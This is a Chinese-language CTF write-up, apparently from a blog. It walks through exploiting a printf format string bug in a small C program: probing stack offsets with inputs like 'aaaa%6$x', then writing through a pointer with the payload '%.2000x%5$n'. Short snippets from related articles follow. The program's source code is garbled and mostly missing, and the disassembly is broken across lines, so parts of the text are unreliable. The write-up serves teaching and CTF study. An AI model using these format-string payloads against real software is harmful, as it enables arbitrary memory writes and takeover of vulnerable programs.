格式化字串漏洞近幾年出現頻率少了,但是一些 ctf 中還有涉及,就當玩玩好了。
首先看這一段**,什麼比賽的題我忘了:
#include
int main(void)
return
0;}
目標是拿到flag。我們使用gcc編譯之後用objdump反編譯:
8048507: c7 45
8800
0000
00 movl $0
x0,-0x78(%ebp) ;flag
804850e: 8d 45
88 lea -0x78(%ebp),%eax
8048511: 89
458c mov %eax,-0x74(%ebp) ;p
8048514: 83 ec 08 sub $0x8,%esp
8048517: 8d 45 90 lea -0x70(%ebp),%eax ;a
804851a: 50
push
%eax
804851b: 68 f0
8504 08 push
$0x80485f0
8048520: e8 bb fe ff ff call 80483e0
<__isoc99_scanf@plt>
8048525: 83 c4 10 add $0x10,%esp
我們可以看到p
在flag
下面四個偏移,a
又在p
下面四個偏移,用緩衝區溢位是不可能了。下面有個printf
,也許可以利用字串格式化漏洞。
繼續往下看彙編:
8048528: 83 ec 0c sub $0xc,%esp
804852b: 8d 45 90 lea -0x70(%ebp),%eax
804852e: 50 push %eax
804852f: e8 5c fe ff ff call 8048390
8048534: 83 c4 10 add $0x10,%esp
我們可以看到printf
總共接受了 4 個引數,實際上只有乙個有效引數。
我們可以使用aaaa%x
來尋找a
的偏移:
wizard@ubuntu
:~/desktop
$ ./t2
aaaa%x
aaaaffee9b78wizard
@ubuntu
:~/desktop
$ ./t2
aaaa%2
$xaaaaf767e329wizard
@ubuntu
:~/desktop
$ ./t2
aaaa%4
$xaaaa0wizard
@ubuntu
:~/desktop
$ ./t2
aaaa%5
$xaaaafff44cd0wizard
@ubuntu
:~/desktop
$aaaa%6
$xaaaa41414141
我們看到了乙個 0 ,又看到了乙個很像位址的東西。然後就是我們輸入的aaaa
。我們於是可以斷定,第四個%x
是flag
,第五個%x
是p
,第六個%x
是a
的起始位置。
再試一下,發現棧基址是變化的:
wizard@ubuntu
:~/desktop
$ ./t2
aaaa%5
$xaaaaffad7a70
也就是說,我們不能把f
的位址寫進a
的前四個位元組,但是我們可以利用p
。構造字串"%.2000%x%5$n"
:
ffe43b880wizard@ubuntu:~/desktop$ ./t2
%.2000x%5$n
...0000000000000000000000000000000000000ffce9f98good!!
成功。 pwn 格式化字串漏洞
原理 因為沒有正確使用printf 函式 正確使用 printf s str 不正規使用 printf str 控制字串str可以爆出stack內內容從而實現任意位址讀或者任意位址寫 入門題01 18行存在格式化字串漏洞 只需輸入在hello之後輸入password所在位址,接收password值再...
pwn初識格式化字串漏洞
格式化字串漏洞通常情況下是由printf函式產生的 正常情況下我們用printf函式輸出字串時是這樣的 char a 100 fmtstr int b 12,c 666 printf s d x a,b,c 但是有時是出於方便會直接輸出字串 char str 12 fmtstr printf str...
格式化字串漏洞
在編寫程式時由於編寫的不規範有可能產生這個漏洞。下面乙個例子 includeint a 2 int main 編譯時使用 gcc test.c m32表示編譯成32位的程式上面這個例子便是乙個很簡單的格式化字串漏洞,產生格式化字串漏洞需要兩個條件 下面講解printf輸出的原理 eg name su...